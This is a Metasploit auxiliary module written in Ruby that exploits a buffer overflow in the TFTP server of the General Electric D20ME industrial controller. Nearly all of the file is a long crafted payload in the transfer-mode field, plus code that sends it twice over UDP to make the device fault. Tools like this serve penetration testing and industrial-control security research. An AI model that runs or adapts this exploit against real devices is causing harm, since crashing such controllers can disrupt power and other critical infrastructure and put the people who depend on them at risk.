ged20tftp.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

##
# The General Electric D20 (and possibly other devices) have numerous
# buffer overruns in their TFTP servers and probably other servers.
# There are many buffer overruns like it, but this one is the D20's
# TFTP Server transfer-mode overflow.
# The filename also suffers from an overrun but seems unlikely to be
# exploitable.
##


require 'msf/core'
require 'rex/ui/text/shell'
require 'rex/proto/tftp'


class Metasploit3 < Msf::Auxiliary
	include Rex::Ui::Text
	include Rex::Proto::TFTP
	include Msf::Exploit::Remote::Udp
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'General Electric D20ME TFTP Server Buffer Overflow',
			'Description'    => %q{ None given
			},
			'Author'         => [ 'K. Reid Wightman <wightman@digitalbond.com>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 1 $',
			'DisclosureDate' => 'Jan 19 2012',
			))

		register_options(
			[
				Opt::RPORT(69),
				Opt::RHOST('192.168.255.1'),
			], self.class)
	end

	def setup
		@rhost = datastore['RHOST']
		@rport = datastore['RPORT'] || 69
		@lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))
		@lhost = datastore['LHOST'] || "0.0.0.0"
		@payload = "\x00\x01NVRAM\\D20.zlb\x00netascii\x80\x80\x80\x80\x80\x80\x80\x81\x80\x80\x80\x82\x80\x80\x80\x83\x80\x80\x80\x84\x80\x80\x80\x85\x80\x80\x80\x86\x80\x80\x80\x87\x80\x80\x80\x88\x80\x80\x80\x89\x80\x80\x80\x8a\x80\x80\x80\x8b\x80\x80\x80\x8c\x80\x80\x80\x8d\x80\x80\x80\x8e\x80\x80\x80\x8f\x80\x80\x80\x90\x80\x80\x80\x91\x80\x80\x80\x92\x80\x80\x80\x93\x80\x80\x80\x94\x80\x80\x80\x95\x80\x80\x80\x96\x80\x80\x80\x97\x80\x80\x80\x98\x80\x80\x80\x99\x80\x80\x80\x9a\x80\x80\x80\x9b\x80\x80\x80\x9c\x80\x80\x80\x9d\x80\x80\x80\x9e\x80\x80\x80\x9f\x80\x80\x80\xa0\x80\x80\x80\xa1\x80\x80\x80\xa2\x80\x80\x80\xa3\x80\x80\x80\xa4\x80\x80\x80\xa5\x80\x80\x80\xa6\x80\x80\x80\xa7\x80\x80\x80\xa8\x80\x80\x80\x00\x80\x80\x80\xaa\x80\x80\x80\xab\x80\x80\x80\xac\x80\x80\x80\xad\x80\x80\x80\xae\x80\x80\x80\xaf\x80\x80\x80\xb0\x80\x80\x80\xb1\x80\x80\x80\xb2\x80\x80\x80\xb3\x80\x80\x80\xb4\x80\x80\x80\xb5\x80\x80\x80\xb6\x80\x80\x80\xb7\x80\x80\x80\xb8\x80\x80\x80\xb9\x80\x80\x80\xba\x80\x80\x80\xbb\x80\x80\x80\xbc\x80\x80\x80\xbd\x80\x80\x80\xbe\x80\x80\x80\xbf\x80\x80\x80\xc0\x80\x80\x80\xc1\x80\x80\x80\xc2\x80\x80\x80\xc3\x80\x80\x80\xc4\x80\x80\x80\xc5\x80\x80\x80\xc6\x80\x80\x80\xc7\x80\x80\x80\xc8\x80\x80\x80\xc9\x80\x80\x80\xca\x80\x80\x80\xcb\x80\x80\x80\xcc\x80\x80\x80\xcd\x80\x80\x80\xce\x80\x80\x80\xcf\x80\x80\x80\xd0\x80\x80\x80\xd1\x80\x80\x80\xd2\x80\x80\x80\xd3\x80\x80\x80\xd4\x80\x80\x80\xd5\x80\x80\x80\xd6\x80\x80\x80\xd7\x80\x80\x80\xd8\x80\x80\x80\xd9\x80\x80\x80\xda\x80\x80\x80\xdb\x80\x80\x80\xdc\x80\x80\x80\xdd\x80\x80\x80\xde\x80\x80\x80\x00\x00\x00\x80\x00\x00\x01\x80\xe1\x80\x80\x80\xe2\x80\x80\x80\xe3\x80\x80\x80\xe4\x80\x80\x80\xe5\x80\x80\x80\xe6\x80\x80\x80\xe7\x80\x80\x80\xe8\x80\x80\x80\xe9\x80\x80\x80\xea\x80\x80\x80\xeb\x80\x80\x80\xec\x80\x80\x00\x80\x00\x00\x00\x7f\xff\xbc\x80\xef\x80\x80\x80\xf0\x80\x80\x80\xf1\x80\x80\x80\xf2\x80\x80\x80\xf3\x80\x80\x80\xf4\x80\x80\x80\xf5\x80\x80\x80\xf6\x80\x80\x80\xf7\x80\x80\x80\xf8\x80\x80\x80\xf9\x80\x80\x80\xfa\x80\x80\x80\xfb\x80\x80\x80\xfc\x80\x80\x80\xfd\x80\x80\x80\xfe\x80\x80\x81\x80\x80\x80\x81\x81\x80\x80\x81\x82\x80\x80\x81\x83\x80\x80\x81\x84\x80\x80\x81\x85\x80\x80\x81\x86\x80\x80\x81\x87\x80\x80\x81\x88\x80\x80\x81\x89\x80\x80\x81\x8a\x80\x80\x81\x8b\x80\x80\x81\x8c\x80\x80\x81\x8d\x80\x80\x81\x8e\x80\x80\x81\x8f\x80\x80\x81\x90\x80\x80\x81\x91\x80\x80\x81\x92\x80\x80\x81\x93\x80\x80\x81\x94\x80\x80\x81\x95\x80\x80\x81\x96\x80\x80\x81\x97\x80\x80\x81\x98\x80\x80\x81\x99\x80\x80\x81\x9a\x80\x80\x81\x9b\x80\x80\x81\x9c\x80\x80\x81\x9d\x80\x80\x81\x9e\x80\x80\x81\x9f\x80\x80\x81\xa0\x80\x80\x81\xa1\x80\x80\x81\xa2\x80\x80\x81\xa3\x80\x80\x81\xa4\x80\x80\x81\xa5\x80\x80\x81\xa6\x80\x80\x81\xa7\x80\x80\x81\xa8\x80\x80\x81\xa9\x80\x80\x81\xaa\x80\x80\x81\xab\x80\x80\x81\xac\x80\x80\x81\xad\x80\x80\x81\xae\x80\x80\x81\xaf\x80\x80\x81\xb0\x80\x80\x81\xb1\x80\x80\x81\xb2\x80\x80\x81\xb3\x80\x80\x81\xb4\x80\x80\x81\xb5\x80\x80\x81\xb6\x80\x80\x81\xb7\x80\x80\x81\xb8\x80\x80\x81\xb9\x80\x80\x81\xba\x80\x80\x81\xbb\x80\x80\x81\xbc\x80\x80\x81\xbd\x80\x80\x81\xbe\x80\x80\x81\xbf\x80\x80\x81\xc0\x80\x80\x81\xc1\x80\x80\x81\xc2\x80\x80\x81\xc3\x80\x80\x81\xc4\x80\x80\x81\xc5\x80\x80\x81\xc6\x80\x80\x81\xc7\x80\x80\x81\xc8\x80\x80\x81\xc9\x80\x80\x81\xca\x80\x80\x81\xcb\x80\x80\x81\xcc\x80\x80\x81\xcd\x80\x80\x81\xce\x80\x80\x81\xcf\x80\x80\x81\xd0\x80\x80\x81\xd1\x80\x80\x81\xd2\x80\x80\x81\xd3\x80\x80\x81\xd4\x80\x80\x81\xd5\x80\x80\x81\xd6\x80\x80\x81\xd7\x80\x80\x81\xd8\x80\x80\x81\xd9\x80\x80\x81\xda\x80\x80\x81\xdb\x80\x80\x81\xdc\x80\x80\x81\xdd\x80\x80\x81\xde\x80\x80\x81\xdf\x80\x80\x81\xe0\x80\x80\x81\xe1\x80\x80\x81\xe2\x80\x80\x81\xe3\x80\x80\x81\xe4\x80\x80\x81\xe5\x80\x80\x81\xe6\x80\x80\x81\xe7\x80\x80\x81\xe8\x80\x80\x81\xe9\x80\x80\x81\xea\x80\x80\x81\xeb\x80\x80\x81\xec\x80\x80\x81\xed\x80\x80\x81\xee\x80\x80\x81\xef\x80\x80\x81\xf0\x80\x80\x81\xf1\x80\x80\x81\xf2\x80\x80\x81\xf3\x80\x80\x81\xf4\x80\x80\x81\xf5\x80\x80\x81\xf6\x80\x80\x81\xf7\x80\x80\x81\xf8\x80\x80\x81\xf9\x80\x80\x81\xfa\x80\x80\x81\xfb\x80\x80\x81\xfc\x80\x80\x81\xfd\x80\x80\x81\xfe\x80\x80\x82\x80\x80\x80\x82\x81"
		@client1 = Rex::Socket::Udp.create()
		@client2 = Rex::Socket::Udp.create()
	end

	def rtarget(ip=nil)
		if (ip or rhost) and rport
			[(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "
		elsif (ip or rhost)
			"#{rhost} "
		else
			""
		end
	end

	def run
		@client1.sendto(@payload, @rhost, @rport)
		# wait until the client gets some data back
		while @client1.read().length == 0
		end
		@client2.sendto(@payload, @rhost, @rport)

		print_good "Exploit complete.  The d20 should fault after a timeout."
	end

	def print_tftp_status(msg)
		case msg
		when /Aborting/, /errors.$/
			print_error [rtarget,msg].join
		when /^WRQ accepted/, /^Sending/, /complete!$/
			print_good [rtarget,msg].join
		else
			vprint_status [rtarget,msg].join
		end
	end	


end
